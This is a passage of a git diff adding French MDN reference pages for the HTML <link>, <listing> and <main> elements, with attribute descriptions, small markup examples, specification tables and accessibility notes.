+ Lorsque l'attribut est absent, la ressource est récupérée sans requête CORS (c'est-à-dire sans envoyer l'en-tête {{httpheader("Origin")}}) ce qui empêche de l'utiliser dans les éléments qui ne doivent pas être corrompus tels que {{HTMLElement('canvas')}}. Si la valeur est invalide, elle est synonyme de <code>anonymous</code>. Pour plus d'informations, consulter <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">l'article sur le contrôle d'origine HTTP (CORS)</a>.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>Cet attribut est uniquement utilisable avec les liens avec <code>rel="stylesheet"</code>. L'attribut booléen <code>disabled</code> indique si la feuille de style référencée devrait être chargée et appliquée au document. Si l'attribut <code>disabled</code> est indiqué dans le document HTML lors de son chargement, la feuille de style ne sera pas chargé au chargement de la page. La feuille de style sera uniquement chargée à la demande si (et lorsque) l'attribut <code>disabled</code> est retiré ou passé à <code>false</code>via un script.</p>
+
+ <p>Toutefois, une fois que la feuille de style a été chargée, toute modification à l'attribut <code>disabled</code> n'aura aucun impact, sa valeur ne sera pas liée à la propriété {{domxref("StyleSheet.disabled")}}. Modifier cet attribut ne fait qu'activer/désactiver la capacité de charger et d'appliquer la feuille de style au document.</p>
+
+ <p>Cette propriété est à distinguer de la propriété <code>disabled</code> de l'interface {{domxref("StyleSheet")}} : lorsqu'on utilise celle-ci, la feuille de style est retirée de {{domxref("document.styleSheets")}} et elle n'est pas rechargée automatiquement lorsqu'on la repasse à <code>false</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Cet attribut définit l'URL de la ressource liée. L'URL utilisée peut être absolue ou relative.</dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>Cet attribut, purement indicatif, définit la langue de la ressource liée. La valeur doit être une balise de langue <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a> valide. Cet attribut doit uniquement être utilisé si l'attribut <code>href</code> est présent.</dd>
+ <dt>{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>Cet attribut indique l'importance relative de la ressource. Les indications de priorité utilisent ces valeurs :
+ <dl>
+  <dt><code>auto</code></dt>
+  <dd>Aucune préférence n'est indiquée. Le navigateur peut utiliser une heuristique qui lui est propre afin de décider de la priorité de la ressource.</dd>
+  <dt><code>high</code></dt>
+  <dd>Cette valeur indique au navigateur que la ressource a une priorité élevée.</dd>
+  <dt><code>low</code></dt>
+  <dd>Cette valeur indique au navigateur que la ressource a une priorité basse.</dd>
+ </dl>
+
+ <p>Note : L'attribut <code>importance</code> peut uniquement être utilisé sur l'élément <code>link</code> si <code>rel</code> vaut <code>"preload"</code> ou <code>"prefetch"</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("integrity")}} {{experimental_inline}}</dt>
+ <dd>Cet attribut contient des métadonnées en ligne qui correspondent à l'empreinte cryptographique de la ressource qu'on souhaite récupérer. Cela permet à l'agent utilisateur de contrôler que la ressource récupérée n'a pas été manipulée. Pour plus d'informations, consulter <a href="/fr/docs/Web/Security/Subresource_Integrity">l'article sur le contrôle des sous-ressources</a>.</dd>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>Cet attribut indique le média auquel s'applique la ressource liée. Sa valeur doit être <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">une requête média</a>. Cet attribut est principalement utilisé pour permettre à l'agent utilisateur de sélectionner la meilleure feuille de style en fonction de l'appareil de l'utilisateur.
+ <div class="note"><strong>Note d'utilisation :</strong>
+ <ul>
+  <li>En HTML4, la valeur de cet attribut était une liste de descripteurs de médias (<a href="/fr/docs/Web/CSS/@media">des types ou des groupes de média</a>) séparés par des espaces, par exemple <code>print</code> <code>screen</code> <code>aural</code> <code>braille</code>. HTML5 étend cet attribut à l'ensemble <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">des requêtes média</a> qui forment un surensemble des valeurs autorisées en HTML 4.</li>
+  <li>Les navigateurs qui ne prennent pas en charge <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">les requêtes média CSS3</a> ne reconnaîtront pas nécessairement les liens adéquats et il faut donc toujours fournir des liens de recours.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Une chaîne de caractères qui indique le référent à utiliser lors de la récupération de la ressource :
+ <ul>
+  <li><code>'no-referrer'</code> : l'en-tête {{HTTPHeader("Referer")}} n'est pas envoyé</li>
+  <li><code>'no-referrer-when-downgrade'</code> signifie qu'aucun en-tête {{HTTPHeader("Referer")}} ne sera envoyé lors de la navigation vers une origine non protégée par TLS (HTTPS). C'est le comportement par défaut de l'agent utilisateur si aucune autre règle n'est indiquée.</li>
+  <li><code>'origin'</code> indique que le référent sera l'origine de la page (ce qui correspond approximativement au schéma, à l'hôte et au port).</li>
+  <li><code>'origin-when-cross-origin'</code> indique que lorsqu'on navigue vers d'autres origines, le référent se limitera au schéma, à l'hôte et au port et que lorsqu'on navigue sur la même origine, il incluera le chemin.</li>
+  <li><code>'unsafe-url'</code> : le référent incluera l'origine et le chemin (mais ni le fragment, ni le mot de passe ou le nom d'utilisateur). Ce comportement n'est pas sécurisé car il peut laisser fuiter des origines et des chemins de ressources TLS vers des origines non-sécurisées.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>Cet attribut indique la relation qui existe entre le document et la ressource liée. Cet attribut doit être une liste de <a href="/fr/docs/Web/HTML/Types_de_lien">types de lien</a>, séparés par des espaces. La plupart du temps, cet attribut est utilisé pour caractériser un lien vers une feuille de style et il vaut alors <code>stylesheet</code> quand l'attribut <code>href</code> reçoit l'URL de la feuille de style à charger. WebTV supporte également la valeur <code>next</code> qui permet de précharger la page suivante d'une série de pages.</dd>
+ <dt>{{htmlattrdef("sizes")}}</dt>
+ <dd>Cet attribut définit les dimensions des icônes pour le média contenu dans la ressource. Cet attribut doit uniquement être présent lorsque {{htmlattrxref("rel","link")}} contient le type de lien <code>icon</code>. Il peut prendre l'une des valeurs suivantes :
+ <ul>
+  <li><code>any</code> : l'icône peut être redimensionnée à volonté car elle utilise un format vectoriel (par exemple <code>image/svg+xml</code>).</li>
+  <li>une liste de tailles, séparées par des espaces, dont chacune est de la forme <code><em>&lt;largeur en pixels&gt;</em>x<em>&lt;hauteur en pixels&gt;</em></code> ou <code><em>&lt;largeur en pixels&gt;</em>X<em>&lt;hauteur en pixels&gt;</em></code>. Pour chacune de ces dimensions, il doit exister une image correspondante dans la ressource.</li>
+ </ul>
+
+ <div class="note"><strong>Note d'utilisation :</strong>
+
+ <ul>
+  <li>La plupart des format d'icône permettent simplement de stocker une seule icône, c'est pour cela que, la plupart du temps, {{htmlattrxref("sizes")}} ne contient qu'un seul élément.</li>
+  <li>Safari sur iOS ne prend pas en charge cet attribut mais utilise des types de lien non-standards pour définir l'icône utilisé dans la barre du site ou pour le lancer : <code>apple-touch-icon</code> et <code>apple-touch-startup-icon</code>.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd>L'attribut <code>title</code> possède un sens spécifique pour l'élément <code>&lt;link&gt;</code>. Utilisé pour un lien <code>&lt;link rel="stylesheet"&gt;</code>, l'attribut <code>title</code> définit <a href="/fr/docs/Web/CSS/Feuilles_de_style_alternatives">une feuille de style alternative ou une feuille de style préférée</a>. S'il est mal utilisé, <a href="/fr/docs/Utiliser_des_titres_corrects_avec_des_feuilles_de_styles_externes">la feuille de style pourra être ignorée</a>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Cet attribut est utilisé pour définir le type de contenu auquel le lien fait référence. La valeur de cet attribut doit être un type MIME tel que <code>text/html</code> ou <code>text/css</code>, etc. Le plus souvent, cet attribut est utilsé pour définir le type de feuille de style utilisé et la valeur la plus fréquente est <code>text/css</code> qui indique le format d'une feuille de style en cascade (<em>Cascading Style Sheet</em> pour CSS). Cet attribut est également utilisé pour les liens avec <code>rel="preload"</code> afin de vérifier la prise en charge du format de fichier (si le navigateur ne prend pas en charge ce fichier, il n'est pas téléchargé).</dd>
+</dl>
+
+<h3 id="Attributs_dépréciés_obsolètes_ou_non-standard">Attributs dépréciés, obsolètes ou non-standard</h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}}{{obsolete_inline}}</dt>
+ <dd>Cet attribut définit l'encodage de la ressource lié. La valeur de cet attribut est une liste de jeux de caractères (tels que définis dans la RFC {{rfc(2045)}}) séparés par des espaces ou des virgules. La valeur par défaut de cet attribut est <code>iso-8859-1</code>.
+ <div class="note"><strong>Note d'utilisation :</strong> cet attribut est obsolète <strong>et ne doit pas être utilisé</strong>. Pour obtenir l'effet escompté, on utilisera l'en-tête HTTP {{httpheader("Content-Type")}} pour la ressource liée.</div>
+ </dd>
+ <dt>{{htmlattrdef("methods")}} {{Non-standard_inline}}</dt>
+ <dd>La valeur de cet attribut fournit des informations quant aux fonctions qui peuvent être utilisées sur l'objet lié. Les valeurs sont généralement des méthodes HTTP mais elles peuvent également inclure des informations en avance sur le lien (le navigateur pourrait par exemple choisir un affichage différent pour un lien selon la méthode utilisée). Cet attribut n'est pas pris en charge de façon correcte, y compris par le navigateur qui le définit, Internet Explorer 4. Voir <a href="https://msdn.microsoft.com/en-us/library/ms534168%28VS.85%29.aspx" rel="external nofollow">la page MSDN sur la propriété <code>methods</code></a>.</dd>
+ <dt>{{htmlattrdef("prefetch")}} {{Non-standard_inline}} {{secureContext_inline}}</dt>
+ <dd>Cet attribut permet d'identifier une ressource qui sera nécessaire dans la suite de la navigation et que l'agent utilisateur devrait télécharger. Cela permet à l'agent utilisateur d'avoir un meilleur temps de réponse lorsque la ressource sera nécessaire.</dd>
+ <dt>{{htmlattrdef("rev")}}{{obsolete_inline}}</dt>
+ <dd>La valeur de cet attribut décrit le lien entre le document courant et la ressource liée (définie par l'attribut {{htmlattrxref("href", "link")}}). Cet attribut définit donc la relation réciproque à la relation décrite par l'attribut <code>rel</code>. <a href="/fr/docs/Web/HTML/Types_de_lien">Les types de lien</a> utilisés pour cet attribut sont semblables aux valeurs autorisés par {{htmlattrxref("rel", "link")}}.
+ <div class="note"><strong>Note d'utilisation :</strong> cet attribut est obsolète en HTML5 <strong>et ne doit pas être utilisé</strong>. Pour obtenir le même effet, on utilisera l'attribut {{htmlattrxref("rel", "link")}} avec la valeur réciproque <a href="/fr/docs/Web/HTML/Types_de_lien">pour le type de lien</a>, (<code>made</code> devrait par exemple être remplacé par <code>author</code>). Cet attribut ne signifie pas « révision » et ne doit pas être utilisé comme un numéro de version.</div>
+
+ <div class="note">
+ <p><strong>Note </strong><strong>:</strong> La spécification actuelle de HTML 5.2 du W3C n'indique plus l'attribut <code>rev</code> comme obsolète. En revanche, la spécification du WHATWG le considère toujours comme obsolète. Tant que cette incohérence n'est pas résolue, mieux vaut considérer cet attribut comme obsolète.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("target")}}{{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit le nom de la <em>frame</em> ou de la fenêtre qui contient la ressource liée ou qui affichera la ressource liée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Associer_une_feuille_de_style">Associer une feuille de style</h3>
+
+<p>Pour associer une feuille de style à la page courante, on utilisera la syntaxe suivante :</p>
+
+<pre class="brush: html notranslate">&lt;link href="style.css" rel="stylesheet"&gt;
+</pre>
+
+<h3 id="Fournir_des_feuilles_de_style_alternatives">Fournir des feuilles de style alternatives</h3>
+
+<p>Pour un document, on peut indiquer <a href="/fr/docs/Web/CSS/Feuilles_de_style_alternatives">plusieurs feuilles de style alternatives</a>.</p>
+
+<p>L'utilisateur pourra choisir parmi ces feuilles de style via le menu « Affichage &gt; Style de la page ». Ainsi, un utilisateur pourra voir différentes versions d'une même page.</p>
+
+<pre class="brush: html notranslate">&lt;link href="default.css" rel="stylesheet" title="Mise en forme par défaut"&gt;
+&lt;link href="joli.css" rel="alternate stylesheet" title="Joli"&gt;
+&lt;link href="simple.css" rel="alternate stylesheet" title="Simple"&gt;
+</pre>
+
+<h3 id="Évènements_déclenchés_au_chargement_dune_feuille_de_style">Évènements déclenchés au chargement d'une feuille de style</h3>
+
+<p>Il est possible de déterminer si une feuille de style a été chargée en écoutant l'évènement <code>load</code>. De la même façon, un évènement <code>error</code> indiquera qu'une erreur a eu lieu lors du traitement de la feuille de style:</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+  function sheetLoaded() {
+    // faire quelque chose, sachant
+    // que la feuille a été chargéee
+  }
+
+  function sheetError() {
+    console.log("Erreur lors du chargement de la feuille de style !");
+  }
+&lt;/script&gt;
+
+&lt;link rel="stylesheet" href="mafeuilledestyle.css"
+  onload="sheetLoaded()"
+  onerror="sheetError()"&gt;
+</pre>
+
+<div class="note"><strong>Note :</strong> L'évènement <code>load</code> est déclenché une fois que la feuille de style et que le contenu associé ont été chargés et analysés et immédiatement avant que la mise en forme soit appliquée au contenu.</div>
+
+<h3 id="Exemples_avec_preload">Exemples avec <code>preload</code></h3>
+
+<p>De nombreux exemples avec <code>&lt;link rel="preload"&gt;</code> peuvent être lus sur <a href="/fr/docs/Web/HTML/Précharger_du_contenu">Précharger des ressources grâce à <code>rel="preload"</code></a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Un élément <code>&lt;link&gt;</code> peut être utilisé à l'intérieur d'un élément {{HTMLElement("head")}} ou bien dans le corps du document ({{HTMLElement("body")}}) si <a href="https://html.spec.whatwg.org/multipage/links.html#body-ok">le type de lien le permet (<em>body-ok</em>)</a>. On peut par exemple utiliser <code>&lt;link rel="stylesheet"&gt;</code> car ce type de lien est autorisé au sein de l'élément <code>&lt;body&gt;</code>.</li>
+ <li>HTML 3.2 définit uniquement les attributs <code>href</code>, <code>rel</code>, <code>rev</code> et <code>title</code> pour l'élément <code>&lt;link&gt;</code>.</li>
+ <li>HTML 2 définit les attributs <code>href</code>, <code>methods</code>, <code>rel</code>, <code>rev</code>, <code>title</code> et <code>urn</code> pour l'élément <code>&lt;link&gt;</code>. Les attributs <code>methods</code> et <code>urn</code> ont ensuite été retirés des spécifications.</li>
+ <li>Les spécifications HTML et XHTML définissent toutes deux des gestionnaires d'évènements pour l'élément <code>&lt;link&gt;</code>.</li>
+ <li>En XHTML 1.0, il est nécessaire qu'un élément <code>&lt;link&gt;</code> ait une barre oblique avant le chevron fermant.</li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Contenu de métadonnées. Si {{htmlattrxref("itemprop")}} est présent : <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> et <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th>Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th>Omission de balise</th>
+   <td>La balise de début doit être présente et la balise de fin ne doit pas être présente.</td>
+  </tr>
+  <tr>
+   <th>Parents autorisés</th>
+   <td>Tout élément qui accepte des éléments de métadonnées. Si l'attribut {{htmlattrxref("itemprop")}} est présent, tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th>Interface DOM</th>
+   <td>{{domxref("HTMLLinkElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Subresource Integrity", "#HTMLLinkElement", "lt;link&gt;")}}</td>
+   <td>{{Spec2('Subresource Integrity')}}</td>
+   <td>Ajout de l'attribut <code>integrity</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Ajout des attributs <code>crossorigin</code> et <code>sizes</code>. Les valeurs de <code>media</code> sont étendues à l'ensemble des requêtes médias, ajout de nombreuses autres valeurs pour <code>rel</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Preload")}}</td>
+   <td>{{Spec2("Preload")}}</td>
+   <td>Définition de <code>&lt;link rel="preload"&gt;</code> et de l'attribut <code>as</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Hints','#prefetch','prefetch')}}</td>
+   <td>{{Spec2('Resource Hints')}}</td>
+   <td>Ajout des valeurs <code>dns-prefetch</code>, <code>preconnect</code>, <code>prefetch</code> et <code>prerender</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.link",3)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'en-tête HTTP {{HTTPHeader("Link")}}</li>
+ <li><a href="https://pie.gd/test/script-link-events/">Le tableau de compatibilité de Ryan Grove à propos de <code>&lt;script&gt;</code> et <code>&lt;link&gt;</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/listing/index.html b/files/fr/web/html/element/listing/index.html
new file mode 100644
index 0000000000..8ecf9a1d69
--- /dev/null
+++ b/files/fr/web/html/element/listing/index.html
@@ -0,0 +1,48 @@
+---
+title: <listing>
+slug: Web/HTML/Element/listing
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/listing
+---
+<div>{{Obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;listing&gt;</code></strong> affiche le texte compris entre les balises d'ouverture et de fermeture sans interpréter le HTML contenu, et en utilisant une police à chasse fixe. Le standard HTML 2 recommande de ne pas casser les lignes si elles ne sont pas plus grandes que 132 caractères.</p>
+
+<div class="note"><strong>Note : N'utilisez pas cet élément</strong>
+
+<ul>
+ <li>Il est déprécié depuis HTML 3.2 et n'a jamais été implémenté d'une manière cohérente par tous les navigateurs. De plus, il est obsolète dans HTML5 et peut être rendu par les agents-utilisateurs conformes comme l'élément {{HTMLElement("pre")}}, qui interprète l'HTML contenu !</li>
+ <li>Utilisez plutôt l'élément {{HTMLElement("pre")}} ou si sémantiquement approprié, l'élément {{HTMLElement("code")}} en échappant '<code>&lt;</code>' et '<code>&gt;</code>' pour qu'ils ne soient pas interprétés.</li>
+ <li>Une police à espacement fixe peut aussi être obtenue en utilisant un simple élément {{HTMLElement("div")}}, et en appliquant une règle <a href="/fr/docs/CSS">CSS</a> utilisant la valeur de police générique <code>monospace</code> dans la propriété {{cssxref("font-family")}}</li>
+</ul>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément a aucun attribut spécifique en dehors <a href="/fr/docs/Web/HTML/Attributs_universels">des attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref('HTMLElement')}}<code>.</code></p>
+
+<div class="note">
+<p><strong>Note d'implémentation : </strong>jusqu'à Gecko 1.9.2 inclus, Firefox implémentait l'interface {{domxref('HTMLSpanElement')}} pour cet élément.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.listing")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Utilisez plutôt les éléments {{HTMLElement("pre")}} et {{HTMLElement("code")}}.</li>
+ <li>Les éléments {{HTMLElement("plaintext")}} et {{HTMLElement("xmp")}} sont similaires à {{HTMLElement("listing")}} mais sont également obsolètes.</li>
+</ul>
diff --git a/files/fr/web/html/element/main/index.html b/files/fr/web/html/element/main/index.html
new file mode 100644
index 0000000000..b7d84177a4
--- /dev/null
+++ b/files/fr/web/html/element/main/index.html
@@ -0,0 +1,186 @@
+---
+title: <main>
+slug: Web/HTML/Element/main
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/main
+---
+<div>{{HTMLRef}}</div>
+
+<p>L’élément HTML <strong><code>&lt;main&gt;</code></strong> représente le contenu majoritaire du {{HTMLElement("body")}} du document. Le contenu principal de la zone est constitué de contenu directement en relation, ou qui étend le sujet principal du document ou de la fonctionnalité principale d'une application.</p>
+
+<p>Un document ne peut pas avoir plus d'un seul élément <code>&lt;main&gt;</code> sans attribut {{htmlattrxref("hidden")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend uniquement en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Ce contenu doit être unique dans le document, excluant tout contenu qui est répété sur plusieurs documents comme des barres latérales, liens de navigation, informations relative au droit d'auteur, logo du site, et champs de recherche (sauf, bien entendu, si la fonctionnalité principale du document est un champ de recherche).</li>
+ <li><code>&lt;main&gt;</code> ne contribue pas au plan du document. Autrement dit, à la différence d'éléments tels que {{HTMLElement("body")}}, les niveaux de titre comme {{HTMLElement("h2")}}, etc. <code>&lt;main&gt;</code> n'affecte pas la structure même de la page, c'est un élément purement informatif.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- autre contenu --&gt;
+
+&lt;main&gt;
+  &lt;h1&gt;Pommes&lt;/h1&gt;
+  &lt;p&gt;La pomme est le fruit à pépin du pommier.&lt;/p&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Pomme rouge&lt;/h2&gt;
+    &lt;p&gt;Ce sont des pommes rouges vives très communes dans les supermarchés.&lt;p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;La Granny Smith&lt;/h2&gt;
+    &lt;p&gt;Ces pommes juteuses, vertes, font une très belle garniture pour les tartes aux pommes.&lt;p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+&lt;/main&gt;
+
+&lt;!-- Autre contenu --&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Balisage_du_document">Balisage du document</h3>
+
+<p>L'élément <code>&lt;main&gt;</code> a le rôle d'une <a href="/fr/docs/Web/Accessibility/ARIA/Roles/Main_role">balise <code>main</code></a>. Dans le contexte de l'accessibilité, les <a href="/fr/docs/Accessibilit%C3%A9/ARIA/Techniques_ARIA">balises</a> peuvent être utilisées par les outils d'assistance afin d'identifier et de naviguer rapidement entre les grandes sections d'un document. On privilégiera l'élément <code>&lt;main&gt;</code> à l'ajout du <code>role="main"</code>, à moins qu'il faille <a href="/fr/docs/Web/HTML/Element/main#Compatibilité_des_navigateurs">prendre en charge d'anciens navigateurs</a>.</p>
+
+<h3 id="Navigation_rapide">Navigation rapide</h3>
+
+<p>La navigation rapide (aussi appelée <em>skip navigation</em> ou <em>skipnav</em> en anglais) est une technique permettant aux outils d'assistance de passer certaines sections de contenu répétés (menu de navigation, bannières, etc.). Cela permet à l'utilisateur d'accéder plus rapidement au contenu principal de la page.</p>
+
+<p>Ajouter un attribut {{htmlattrxref("id")}} à l'élément <code>&lt;main&gt;</code> lui permet d'être une cible pour la navigation rapide.</p>
+
+<pre><span class="tag">&lt;body</span><span class="tag">&gt;
+  &lt;a href="#main-content"&gt;Aller au contenu principal&lt;/a&gt;
+
+  &lt;!-- Contenu relatif à la navigation et en-tête du document --&gt;
+
+  &lt;main id="main-content"&gt;
+    &lt;!-- Contenu principal de la page --&gt;
+  &lt;/main&gt;
+&lt;/body&gt;</span>
+</pre>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM : Liens et navigation rapide (en anglais)</a></li>
+</ul>
+
+<h3 id="Mode_lecture">Mode lecture</h3>
+
+<p>Les fonctionnalités « mode lecture » d'un navigateur vérifient la présence d'un élément <code>&lt;main&gt;</code> ainsi que la présence de <a href="/fr/docs/Web/HTML/Element/Heading_Elements">titres</a> et de <a href="/fr/docs/Web/HTML/Element#Sectionnement_du_contenu">sections</a> lors de la convertion du document pour le mode lecture.</p>
+
+<ul>
+ <li><a href="https://medium.com/@mandy.michael/building-websites-for-safari-reader-mode-and-other-reading-apps-1562913c86c9">Construire des sites web pour le mode lecture de Safari et pour les autres applications de lecture (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Categories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balise</dfn></th>
+   <td>Aucune, les balises d'ouverture et de fermeture sont toutes les deux obligatoires.</td>
+  </tr>
+  <tr>
+   <th scope="row">Éléments parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>, uniquement si c'est <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#hierarchically-correct-main-element">un élément hiérarchiquement correct pour un élément <code>&lt;main&gt;</code></a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Le rôle <code>main</code> est appliqué à <code>&lt;main&gt;</code> par défaut, et le rôle <code><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role">presentation</a></code> est également autorisé.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Pas de changement de {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#semantics.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Retrait de la restriction sur l'interdiction de l'utilisation de l'élément <code>&lt;main&gt;</code> comme descendant d'un élément {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, ou {{HTMLElement("nav")}}. Retrait de la restriction interdisant d'utiliser plusieurs fois <code>&lt;main&gt;</code> dans un document.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition intiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
